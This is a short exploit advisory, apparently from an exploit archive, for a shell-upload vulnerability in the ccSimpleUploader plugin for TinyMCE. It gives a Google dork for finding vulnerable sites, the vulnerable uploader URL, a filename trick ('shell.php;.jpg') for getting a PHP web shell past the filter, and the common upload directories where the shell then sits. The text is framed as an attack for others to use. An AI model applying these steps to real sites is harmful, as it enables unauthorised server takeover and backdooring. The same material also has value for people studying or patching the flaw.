cc Simple Uploader Shell Upload Vulnerability

# Exploit Title: cc Simple Uploader Shell Upload Vulnerability

# Date: 22-04-2012

# Author: Arm4dill0.DZ

# Vendor or Software Link: none

# Version: All Versions

# Category: Web Applications

# Google dork: inurl:/ccSimpleUploader/uploader.php

# Tested on: Microsoft Windows 7 (version 6.1.7600) ; Mac OS X 10.7.3

#
# Exploit :
#    1- http://127.0.0.1/path/js/tiny_mce/plugins/ccSimpleUploader/uploader.php
#    2- Upload your shell.php ( shell.php;.jpg , etc)
#    3- Find the upload directory : /uplaod/;/uploads/;/uploaded/;/files/
#    4- ./Done  ;)

Tweet